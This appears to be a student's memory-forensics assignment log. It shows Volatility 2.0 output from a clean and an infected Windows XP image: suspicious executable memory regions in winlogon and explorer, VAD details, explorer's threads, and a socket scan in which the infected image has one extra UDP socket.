45f10002: 0000                          ADD [EAX], AL
45f10004: 0000                          ADD [EAX], AL
45f10006: 0000                          ADD [EAX], AL
45f10008: 0000                          ADD [EAX], AL
45f1000a: 0000                          ADD [EAX], AL
45f1000c: 0000                          ADD [EAX], AL
45f1000e: 0000                          ADD [EAX], AL
45f10010: 0000                          ADD [EAX], AL
45f10012: 0000                          ADD [EAX], AL


WINLOGON.EXE        624    0x5a010000 0x5a013fff VadS       0
      PAGE_EXECUTE_READWRITE
Dumped to: out-inf/WINLOGON.EXE.211a978.5a010000-5a013fff.dmp
0x5a010000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x5a010010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
```

```
0x5a010020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x5a010030   00 00 00 00 2b 00 2b 00 01 00 00 00 00 00 00 00       ....+.+.........
0x5a010040   00 00 00 00 f0 9c 04 01 f0 9c 04 01 00 00 00 00       ................
0x5a010050   07 cd 8b b2 7d fd 8a 66 30 9d 04 01 1a 9d 04 01       ....}..f0.......
0x5a010060   cc 13 02 00 02 00 00 00 00 00 00 00 00 00 00 00       ................
0x5a010070   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................

Disassembly:
5a010000: 0000                          ADD [EAX], AL
5a010002: 0000                          ADD [EAX], AL
5a010004: 0000                          ADD [EAX], AL
5a010006: 0000                          ADD [EAX], AL
5a010008: 0000                          ADD [EAX], AL
5a01000a: 0000                          ADD [EAX], AL
5a01000c: 0000                          ADD [EAX], AL
5a01000e: 0000                          ADD [EAX], AL
5a010010: 0000                          ADD [EAX], AL
5a010012: 0000                          ADD [EAX], AL

EXPLORER.EXE        1956   0x021e0000 0x21e0fff0 VadS       0
      PAGE_EXECUTE_READWRITE
Dumped to: out-inf/EXPLORER.EXE.247bb28.021e0000-021e0fff.dmp
0x021e0000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x021e0010   00 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x021e0020   10 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x021e0030   20 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x021e0040   30 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00       0...............
0x021e0050   40 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00       @...............
0x021e0060   50 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00       P...............
0x021e0070   60 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00       `...............

Disassembly:
021e0000: 0000                          ADD [EAX], AL
021e0002: 0000                          ADD [EAX], AL
021e0004: 0000                          ADD [EAX], AL
021e0006: 0000                          ADD [EAX], AL
021e0008: 0000                          ADD [EAX], AL
021e000a: 0000                          ADD [EAX], AL
021e000c: 0000                          ADD [EAX], AL
021e000e: 0000                          ADD [EAX], AL
021e0010: 0000                          ADD [EAX], AL
021e0012: 1e                            PUSH DS
```

b2240-11:~/Courses/CSC411/A3$ vol-inf vadinfo -p 4

```
Volatile Systems Volatility Framework 2.0
************************************************************************
Pid:      4
VAD node @823c4200 Start 00010000 End 00033fff Tag Vad
Flags:
Commit Charge: 0 Protection: 4
ControlArea @823c1ac0 Segment e100f690
Dereference list: Flink 00000000, Blink 00000000
NumberOfSectionReferences:          1 NumberOfPfnReferences:           0
NumberOfMappedViews:               25 NumberOfUserReferences:         25
WaitingForDeletion Event:  00000000
```

```
Flags: Commit, HadUserReference
FileObject: none
First prototype PTE: e100f6d0 Last contiguous PTE: e100f7e8
Flags2: Inherit
File offset: 00000000

VAD node @81e70240 Start 7c900000 End 7c9aefff Tag Vad
Flags: ImageMap
Commit Charge: 5 Protection: 7
ControlArea @823c72d8 Segment e14e8a18
Dereference list: Flink 00000000, Blink 00000000
NumberOfSectionReferences:          1 NumberOfPfnReferences:          90
NumberOfMappedViews:               24 NumberOfUserReferences:         25
WaitingForDeletion Event:  00000000
Flags: Accessed, DebugSymbolsLoaded, File, HadUserReference, Image
FileObject @823c72fc FileBuffer @ e14b83d8          , Name: \WINDOWS\System32\nt
dll.dll
First prototype PTE: e14e8a58 Last contiguous PTE: fffffffc
Flags2: Inherit
File offset: 00000000

VAD node @81f8a3b8 Start 00060000 End 00060fff Tag Vad
Flags:
Commit Charge: 0 Protection: 4
ControlArea @81f47a08 Segment e17e4860
Dereference list: Flink 00000000, Blink 00000000
NumberOfSectionReferences:          0 NumberOfPfnReferences:           0
NumberOfMappedViews:                2 NumberOfUserReferences:          2
WaitingForDeletion Event:  00000000
Flags: Commit, HadUserReference
FileObject: none
First prototype PTE: e17e48a0 Last contiguous PTE: e17e48a0
Flags2:
File offset: 00000000

VAD node @81f34ee8 Start 00070000 End 0016ffff Tag Vad
Flags:
Commit Charge: 0 Protection: 4
ControlArea @81f34f18 Segment e1bfd7c0
Dereference list: Flink 00000000, Blink 00000000
NumberOfSectionReferences:          1 NumberOfPfnReferences:           0
NumberOfMappedViews:                2 NumberOfUserReferences:          3
WaitingForDeletion Event:  00000000
Flags: HadUserReference, Reserve
FileObject: none
First prototype PTE: e1bfd800 Last contiguous PTE: e1bfdff8
Flags2:
File offset: 00000000


b2240-08:~$ vol-inf threads -p 1956
------
ETHREAD: 0x822b4c18 Pid: 1956 Tid: 504
Tags:
Created: 2011-04-10 21:08:41
```

```
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:WrQueue
BasePriority: 0x8
Priority: 0x8
TEB: 0x7ffd5000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe1125990
CrossThreadFlags:
Eip: 0x7c90e4f4
  eax=0x01d5004c ebx=0x00000000 ecx=0x01d5de7c edx=0x02190000 esi=0x7c97b420
edi=0x7c97b440
  eip=0x7c90e4f4 esp=0x01d5ff70 ebp=0x01d5ffb4 err=0x00000000
  cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000286
  dr0=0x00000000 dr1=0x00000000 dr2=0x00000000 dr3=0x00000000 dr6=0x00000000
dr7=0x00000000

------
ETHREAD: 0x8230b628 Pid: 1956 Tid: 1236
Tags:
Created: 2011-04-10 21:05:36
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:WrUserRequest
BasePriority: 0x8
Priority: 0xc
TEB: 0x7ffab000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe1d738b0
CrossThreadFlags:
Eip: 0x7c90e4f4
  eax=0x0000079b ebx=0x00004e20 ecx=0x00000710 edx=0x00028d02 esi=0x01c1fd68
edi=0x7e4191c6
  eip=0x7c90e4f4 esp=0x01c1fcf8 ebp=0x01c1fd14 err=0x00000000
  cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246
  dr0=0x00000000 dr1=0x00000000 dr2=0x00000000 dr3=0x00000000 dr6=0x00000000
dr7=0x00000000

------
ETHREAD: 0x821c4568 Pid: 1956 Tid: 168
Tags:
Created: 2011-04-10 21:05:31
Exited: -
```

```
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:UserRequest
BasePriority: 0x8
Priority: 0x9
TEB: 0x7ffd6000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe1c5c6b8
CrossThreadFlags:
Eip: 0x7c90e4f4
  eax=0x00e50010 ebx=0x0014f6f0 ecx=0x00001000 edx=0x7c90e4f4 esi=0x00000000
edi=0x7ffde000
  eip=0x7c90e4f4 esp=0x00f4fd30 ebp=0x00f4fdcc err=0x00000000
  cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246
  dr0=0x00000000 dr1=0x00000000 dr2=0x00000000 dr3=0x00000000 dr6=0x00000000
dr7=0x00000000

------
ETHREAD: 0x8206fa80 Pid: 1956 Tid: 1200
Tags:
Created: 2011-04-10 21:05:35
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:WrUserRequest
BasePriority: 0xa
Priority: 0xa
TEB: 0x7ffac000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe1d6aaf8
CrossThreadFlags:

------
ETHREAD: 0x82158490 Pid: 1956 Tid: 580
Tags:
Created: 2011-04-10 21:28:12
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:UserRequest
BasePriority: 0x8
Priority: 0xb
TEB: 0x7ffa8000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552f60
```

```
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe16cbc20
CrossThreadFlags:

------
ETHREAD: 0x81d6c020 Pid: 1956 Tid: 1964
Tags:
Created: 2011-04-10 21:05:29
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:WrLpcReceive
BasePriority: 0x8
Priority: 0x8
TEB: 0x7ffdc000
StartAddress: 0x7c8106e9
Win32StartAddress: 0x00002212
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe16d8eb0
CrossThreadFlags:
Eip: 0x7c90e4f4
  eax=0x00000000 ebx=0x00000000 ecx=0x000bd638 edx=0xffffffff esi=0x000ae2d0
edi=0x00000100
  eip=0x7c90e4f4 esp=0x00d7fe18 ebp=0x00d7ff80 err=0x00000000
  cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246
  dr0=0x00000000 dr1=0x00000000 dr2=0x00000000 dr3=0x00000000 dr6=0x00000000
dr7=0x00000000

------
ETHREAD: 0x820534a8 Pid: 1956 Tid: 576
Tags:
Created: 2011-04-10 21:28:12
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:UserRequest
BasePriority: 0x8
Priority: 0xa
TEB: 0x7ffaf000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe10d9eb0
CrossThreadFlags:
Eip: 0x7c90e4f4
```

```
  eax=0xdf302052 ebx=0x01d9fb6c ecx=0xe1d6005c edx=0x0c040010 esi=0x00000000
edi=0x7ffde000
  eip=0x7c90e4f4 esp=0x01d9fb44 ebp=0x01d9fbe0 err=0x00000000
  cs=0x1b ss=0x23 ds=0x83b4376d es=0xe1d6003e gs=0xbf81001c efl=0x00000246
  dr0=0x00000012 dr1=0xe1d6001a dr2=0x6873d723 dr3=0x5ad7000e dr6=0xe1d6002e
dr7=0x00000000

------
ETHREAD: 0x8227b8b0 Pid: 1956 Tid: 1960
Tags:
Created: 2011-04-10 21:05:29
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:WrUserRequest
BasePriority: 0x8
Priority: 0xc
TEB: 0x7ffdd000
StartAddress: 0x7c8106f5
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe1be13d0
CrossThreadFlags:
Eip: 0x7c90e4f4
  eax=0x7e2abff0 ebx=0x00000003 ecx=0x00000000 edx=0x7e292040 esi=0x000d7108
edi=0x00000000
  eip=0x7c90e4f4 esp=0x0007fef0 ebp=0x0007ff08 err=0x00000000
  cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000202
  dr0=0x00000000 dr1=0x00000000 dr2=0x00000000 dr3=0x00000000 dr6=0x00000000
dr7=0x00000000

------
ETHREAD: 0x81d56020 Pid: 1956 Tid: 1196
Tags:
Created: 2011-04-10 21:05:35
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:UserRequest
BasePriority: 0xf
Priority: 0xf
TEB: 0x7ffad000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552fa0
  [0] 0x80501b8c
  [1] -
  [2] -
  [3] -
Win32Thread: 0x00000000
CrossThreadFlags:

------
```

```
ETHREAD: 0x8214ada8 Pid: 1956 Tid: 1976
Tags:
Created: 2011-04-10 21:05:29
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:DelayExecution
BasePriority: 0x8
Priority: 0xa
TEB: 0x7ffd9000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552fa0
  [0] 0x80501b8c
  [1] -
  [2] -
  [3] -
Win32Thread: 0x00000000
CrossThreadFlags:

------
ETHREAD: 0x81d5d920 Pid: 1956 Tid: 528
Tags:
Created: 2011-04-10 21:05:32
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:WrLpcReceive
BasePriority: 0x8
Priority: 0xb
TEB: 0x7ffae000
StartAddress: 0x7c8106e9
Win32StartAddress: 0x00002216
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe1e36eb0
CrossThreadFlags:
Eip: 0x7c90e4f4
  eax=0x77e76c7d ebx=0x00000000 ecx=0x003d36f0 edx=0x00000000 esi=0x000ae2d0
edi=0x00000100
  eip=0x7c90e4f4 esp=0x01a9fe18 ebp=0x01a9ff80 err=0x00000000
  cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246
  dr0=0x00000000 dr1=0x00000000 dr2=0x00000000 dr3=0x00000000 dr6=0x00000000
dr7=0x00000000

------
ETHREAD: 0x821f6da8 Pid: 1956 Tid: 1968
Tags:
Created: 2011-04-10 21:05:29
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:DelayExecution
```

```
BasePriority: 0x8
Priority: 0x8
TEB: 0x7ffdb000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552fa0
  [0] 0x80501b8c
  [1] -
  [2] -
  [3] -
Win32Thread: 0x00000000
CrossThreadFlags:
Eip: 0x7c90e4f4
  eax=0x774fe43b ebx=0x00007530 ecx=0x7ffde000 edx=0x00000000 esi=0x00000000
edi=0x00dcff50
  eip=0x7c90e4f4 esp=0x00dcff20 ebp=0x00dcff78 err=0x00000000
  cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000206
  dr0=0x00000000 dr1=0x00000000 dr2=0x00000000 dr3=0x00000000 dr6=0x00000000
dr7=0x00000000

------
ETHREAD: 0x81fb4da8 Pid: 1956 Tid: 1248
Tags:
Created: 2011-04-10 21:05:36
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:WrLpcReceive
BasePriority: 0x8
Priority: 0xb
TEB: 0x7ffaa000
StartAddress: 0x7c8106e9
Win32StartAddress: 0x00002218
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe16d02e8
CrossThreadFlags:
Eip: 0x7c90e4f4
  eax=0x77e76c7d ebx=0x00000000 ecx=0x00fa3810 edx=0x00000000 esi=0x000ae2d0
edi=0x00000100
  eip=0x7c90e4f4 esp=0x01c5fe18 ebp=0x01c5ff80 err=0x00000000
  cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246
  dr0=0x00000000 dr1=0x00000000 dr2=0x00000000 dr3=0x00000000 dr6=0x00000000
dr7=0x00000000

------
ETHREAD: 0x822ec798 Pid: 1956 Tid: 496
Tags:
Created: 2011-04-10 21:05:32
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:UserRequest
```

```
BasePriority: 0x8
Priority: 0x9
TEB: 0x7ffd4000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552fa0
  [0] 0x80501b8c
  [1] -
  [2] -
  [3] -
Win32Thread: 0x00000000
CrossThreadFlags:

------
ETHREAD: 0x02503c18 Pid: 1956 Tid: 1116
Tags: ScannerOnly
Created: 2011-04-10 21:29:20
Exited: 2011-04-10 21:29:21
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x410046 ''
State: Terminated
BasePriority: 0x0
Priority: 0x12
TEB: 0x00000000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552fa0
  [0] 0x80501b8c
  [1] -
  [2] -
  [3] -
Win32Thread: 0x00000000
CrossThreadFlags: PS_CROSS_THREAD_FLAGS_TERMINATED

------
ETHREAD: 0x822ee3c8 Pid: 1956 Tid: 1984
Tags:
Created: 2011-04-10 21:05:29
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:UserRequest
BasePriority: 0x8
Priority: 0x8
TEB: 0x7ffd7000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552fa0
  [0] 0x80501b8c
  [1] -
  [2] -
  [3] -
Win32Thread: 0x00000000
CrossThreadFlags:

------
ETHREAD: 0x8231c6a8 Pid: 1956 Tid: 1972
Tags:
```

```
Created: 2011-04-10 21:05:29
Exited: -
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x8227bb28 'EXPLORER.EXE'
State: Waiting:WrUserRequest
BasePriority: 0x9
Priority: 0xb
TEB: 0x7ffda000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552f60
  [0] 0x80501b8c
  [1] 0xbf999b80
  [2] -
  [3] -
Win32Thread: 0xe1ac9e00
CrossThreadFlags:
Eip: 0x7c90e4f4
  eax=0x00e0f7d4 ebx=0x7e42929a ecx=0x00000001 edx=0x0000001e esi=0x010460f8
edi=0x00000000
  eip=0x7c90e4f4 esp=0x00e0ff14 ebp=0x00e0ff44 err=0x00000000
  cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246
  dr0=0x00000000 dr1=0x00000000 dr2=0x00000000 dr3=0x00000000 dr6=0x00000000
dr7=0x00000000
```

SOCKET SCAN:

Clean Image:

```
b2240-06:~$ vol-clean sockscan
Volatile Systems Volatility Framework 2.0
 Offset      PID    Port   Proto               Address      Create Time

---------- ------ ------ ------------------- -------------- --------------------------
0x01f5de98   1104   1900   17 UDP              192.168.1.32        2011-04-10 21:05:33

0x01f79b68    4      139    6 TCP         192.168.1.32        2011-04-10 21:05:22

0x02122e98    840   1028    6 TCP         127.0.0.1           2011-04-10 21:05:33

0x02131008   1008   123    17 UDP              127.0.0.1           2011-04-10 21:05:31

0x021b2e98   1008   123    17 UDP              192.168.1.32        2011-04-10 21:05:31

0x022317f0   1104   1900   17 UDP              127.0.0.1           2011-04-10 21:05:33

0x02256398    680    0      255 Reserved        0.0.0.0             2011-04-10 21:05:28

0x022723b8    4      137    17 UDP              192.168.1.32        2011-04-10 21:05:22

0x02283978   1008   1027   17 UDP              127.0.0.1           2011-04-10 21:05:33

0x0233a220    916    135    6 TCP         0.0.0.0             2011-04-10 21:05:17
```

```
0x023d0e98    680    500    17 UDP              0.0.0.0             2011-04-10 21:05:28

0x023f8e98    4      138    17 UDP              192.168.1.32        2011-04-10 21:05:22

0x023fbe98    680    4500   17 UDP              0.0.0.0             2011-04-10 21:05:28

0x024ee648    4      445    6 TCP         0.0.0.0             2011-04-10 21:05:13

0x02506100    4      445    17 UDP              0.0.0.0             2011-04-10 21:05:13
```

Infected image:

```
b2240-06:~/Courses/CSC469/A2/P2$ vol-inf sockscan
Volatile Systems Volatility Framework 2.0
 Offset       PID    Port   Proto               Address      Create Time

---------- ------ ------ ------------------- -------------- --------------------------
0x01f5de98   1104   1900   17 UDP              192.168.1.32        2011-04-10 21:05:33

0x01f79b68    4      139    6 TCP         192.168.1.32        2011-04-10 21:05:22

0x02122e98    840    1028   6 TCP         127.0.0.1           2011-04-10 21:05:33

0x02131008   1008    123    17 UDP              127.0.0.1           2011-04-10 21:05:31

0x021b2e98   1008    123    17 UDP              192.168.1.32        2011-04-10 21:05:31

0x022317f0   1104    1900   17 UDP              127.0.0.1           2011-04-10 21:05:33

0x02256398    680    0      255 Reserved        0.0.0.0             2011-04-10 21:05:28

0x022723b8    4      137    17 UDP              192.168.1.32        2011-04-10 21:05:22

0x0233a220    916    135    6 TCP         0.0.0.0             2011-04-10 21:05:17

0x0234a620   1056    1031   17 UDP              0.0.0.0             2011-04-10 21:08:37

0x023d0e98    680    500    17 UDP              0.0.0.0             2011-04-10 21:05:28

0x023f8e98    4      138    17 UDP              192.168.1.32        2011-04-10 21:05:22

0x023fbe98    680    4500   17 UDP              0.0.0.0             2011-04-10 21:05:28

0x024ee648    4      445    6 TCP         0.0.0.0             2011-04-10 21:05:13

0x02506100    4      445    17 UDP              0.0.0.0             2011-04-10 21:05:13
```